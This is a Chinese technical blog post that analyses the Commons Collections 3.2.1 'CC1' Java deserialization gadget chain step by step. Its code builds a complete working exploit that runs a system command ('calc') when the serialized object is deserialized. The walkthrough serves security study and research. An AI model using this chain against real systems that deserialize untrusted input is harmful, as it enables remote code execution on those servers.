前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >细致分析细致分析CommonsCollections1链及EXP构造思路

细致分析细致分析CommonsCollections1链及EXP构造思路

原创
作者头像
Gh0st1nTheShel
发布2022-01-26 17:27:16
2830
发布2022-01-26 17:27:16
举报
文章被收录于专栏:网络空间安全

欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章

找到利用链

依赖

代码语言:javascript
复制
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

CommonsCollections作用:commons-collections介绍 - codedot - 博客园 (cnblogs.com)

可以看到CommonsCollections是一个Java框架的增强工具,然而我们可以在里面找到可以利用的反序列化的链

在CommonsCollections中,这个InvokerTransformer是很好的利用点,首先此类继承了Serializable接口,导致可以反序列化,同时transform中使用反射调用了方法,而且所有的参数都可以控制,这就产生了命令执行的危害

代码语言:javascript
复制
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

总结

利用链

代码语言:javascript
复制
AnnotationInvocationHandler:readObject(){setValue()} -> AbstractInputCheckedMapDecorator:setValue(){checkSetValue()} -> TransformedMap:checkSetValue(){transform()} = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());

Payload

代码语言:javascript
复制
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("isSingleton", "test");
    Map<Object, Object> map = TransformedMap.decorate(hashMap, null, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
    AIHconstructor.setAccessible(true);
    Object obj = AIHconstructor.newInstance(AMXMetadata.class, map);

    //序列化与反序列化
    SerializeClass.Serialize(obj, "SerializeTest.bin");
    UnserializeClass.Unserialize("SerializeTest.bin");
}

详细思路分析

想找到利用链,先从尾部分析

首先先写出通过Runtime.exec命令执行的代码

正常情况下写法为

代码语言:javascript
复制
Runtime.getRuntime().exec("calc"); 

通过反射的写法

代码语言:javascript
复制
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

通过cc写法为

代码语言:javascript
复制
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

测试代码正确后,我们从transform开始入手,找到可以利用的链

右键transform,查找用法,可以发现有21个用法(下载了cc源码的情况下,想要直接右键查找方法首先要先下载源码,cc的源码下载很简单,随便打开一个.class文件然后点击上方的下载源代码即可),其中一个可以利用的点是在cc.map下的TransformedMap的checkSetValue方法,其实在TransformedMap中有很多方法都调用了transform方法,理论上如果链完整且参数可控的话都可以利用,这里就先拿一条案例作为说明

看到是checkSetValue方法的valueTransformer调用的transform

代码语言:javascript
复制
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

我们demo的语句是

代码语言:javascript
复制
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); 

所以我们首先要确定valueTransformer是可控的,可以赋值为new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})才可用

查看构造方法,发现为protect权限,被decorate调用

代码语言:javascript
复制
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

经过这样一分析,如果checkSetValue方法中,valueTransformer能够是我们的new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),那么效果是一样的,刚好这个值可以通过初始化对象来构造,由于构造方法里面要传一个Map对象,于是我们初始化一个HashMap给它

此处hashmap要存放对象,因为后面要用到

代码语言:javascript
复制
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("test", "test");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);//由于我们只需要控制valueTransformer,所以keyTransformer就赋了个null

确定可以控制参数后,我们要继续查找链,看看哪个方法调用checkSetValue方法

查找用法checkSetValue方法,发现是在AbstractInputCheckedMapDecorator.java下的MapEntry类中调用,MapEntry的作用可以用来遍历Map,所以我们可以构造一个Map,这个Map的类型必须是通过TransformedMap生成的Map,这样entry才会调用AbstractInputCheckedMapDecorator下的entry

然后使用MapEntry进行遍历就会调用到setValue方法,也会调用到checkSetValue方法,不过在此之前要先给Map添加一个值以便遍历

代码语言:javascript
复制
public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

至此,经过我们的分析,我们原本demo的代码可以写为

代码语言:javascript
复制
public static void main(String[] args) throws ClassNotFoundException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "aaa");
        Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
        for(Map.Entry entry:map.entrySet()){
            entry.setValue(r);
        }
    }

运行代码后成功启动计算器,说明这条链是可以的,接下来我们要继续寻找入口点,最终目的是找到readObject()方法,运气很好的是,有一个类的readObject直接调用了setValue方法,在sun.reflect.annotation包中的AnnotationInvocationHandler类中,通过InvocationHandler可以知道这是动态代理

由于没有源码,所以要去openjdk中下载源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

如果jdk版本不同可能会显示字节码有差异,不过似乎问题不大

可以发现readObject中调用setValue也是在遍历数组的过程中

代码语言:javascript
复制
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

查看构造方法的传入参数类型,Annotation为注解类型,memberValues为map类型

代码语言:javascript
复制
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) 

在实例化此类的过程中,由于类是Default权限,所以不能直接实例化对象,必须通过反射得到

代码语言:javascript
复制
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
AIHconstructor.setAccessible(true);
Object obj = AIHconstructor.newInstance(Override.class, map);

通过序列化AnnotationInvocationHandler才能触发里面的readObject方法,这个链才是完整的

到目前为止,我们已经找到了完整的利用链

代码语言:javascript
复制
AnnotationInvocationHandler:readObject(){setValue()} -> AbstractInputCheckedMapDecorator:setValue(){checkSetValue()} -> TransformedMap:checkSetValue(){transform()} = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime()); 

代码如下

代码语言:javascript
复制
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("key", "value");
        Map<Object, Object> map = TransformedMap.decorate(hashMap, null, invokerTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        AIHconstructor.setAccessible(true);
        Object AIH = AIHconstructor.newInstance(Target.class, map);
        
        test(AIH);//用于序列化和反序列化的自定义方法
    }

但是执行后并未调用计算器

这是因为如果要序列化则会出现两个问题:

1、Runtime类未继承Serializable接口,并不可以被序列化

2、我们的目标setValue是在AnnotationInvocationHandler类的readObject方法的if体中,且不可控,所以要达到条件才可以进入if体

代码语言:javascript
复制
if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }

对于第一点,我们要仿照

代码语言:javascript
复制
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); 

的写法来获取对象,首先先反射调用

代码语言:javascript
复制
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");

通过transformer改写

代码语言:javascript
复制
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

测试后可以调用计算器,说明改写成功,于是乎我们可以像之前一样改写transform,但是这样过于繁琐,所以使用chainedtransform来代替,chainedtransform的作用就是连续调用transformers数组里面的transform方法,即transforms0.transform,transform1.transform...

代码语言:javascript
复制
Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

测试成功后就只需要修改一个transform即可

对于第二点,我们要弄清楚什么情况下才可以进入到if体里面,进入调试

在AnnotationInvocationHandler类中的440行开始

代码语言:javascript
复制
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);

首先会在我们传入的Map中获取key,然后在对应的注解查找是否有相应的参数

在这当中获取了注解的member类型,然而我们传入的Override是没有内容的,所以找不到对应的参数,会返回null

代码语言:javascript
复制
public @interface Override {
}

通过查看Annotation的实现类

就以第一个AMXMetadata为例子,点开

看到isSingleton,于是在map中传入isSingleton,然后将注解换为AMXMetadata

经过调试发现,成功进入了if体,但是并未成功执行命令,一步步调用查看

当执行checkSetValue方法时,步入transform方法

可以看到传入的iTransformers参数就是Transformer数组,然而Object是public abstract boolean com.sun.org.glassfish.gmbal.AMXMetadata.isSingleton(),即和我们设置map的内容相关

代码语言:javascript
复制
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

首先第一个就是

代码语言:javascript
复制
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), 

进入for循环,继续步入transform,可以看到反射获取了类和方法然而类是sun.reflect.annotation.AnnotationTypeMismatchExceptionProxy,方法是getMethod

这和我们设置的链是不一样的,所以自然抛出了没有此方法的错误

所以我们的目标是让Object传入的是Runtime

这时候又有一个Transformer叫ConstantTransformer,看一下它的构造方法

可以看到是传啥等于啥,transform方法就是直接把值给返回,所以如果我们在刚才的Transformer之前设置一个ConstantTransformer,并且传入Runtime,那么在反射获取类的时候就可以获得Runtime,

代码语言:javascript
复制
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

最终Payload

代码语言:javascript
复制
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("isSingleton", "test");
    Map<Object, Object> map = TransformedMap.decorate(hashMap, null, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor AIHconstructor = c.getDeclaredConstructor(Class.class, Map.class);
    AIHconstructor.setAccessible(true);
    Object obj = AIHconstructor.newInstance(AMXMetadata.class, map);

    //序列化与反序列化
    SerializeClass.Serialize(obj, "SerializeTest.bin");
    UnserializeClass.Unserialize("SerializeTest.bin");
}

重新回到

代码语言:javascript
复制
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

调用了ConstantTransformer的Transformer,返回了java.lang.Runtime,使得循环的object变为了Runtime

再继续进入transform,链就正常了

最后成功启动了计算器

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 找到利用链
  • 总结
  • 详细思路分析
  • 最终Payload
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档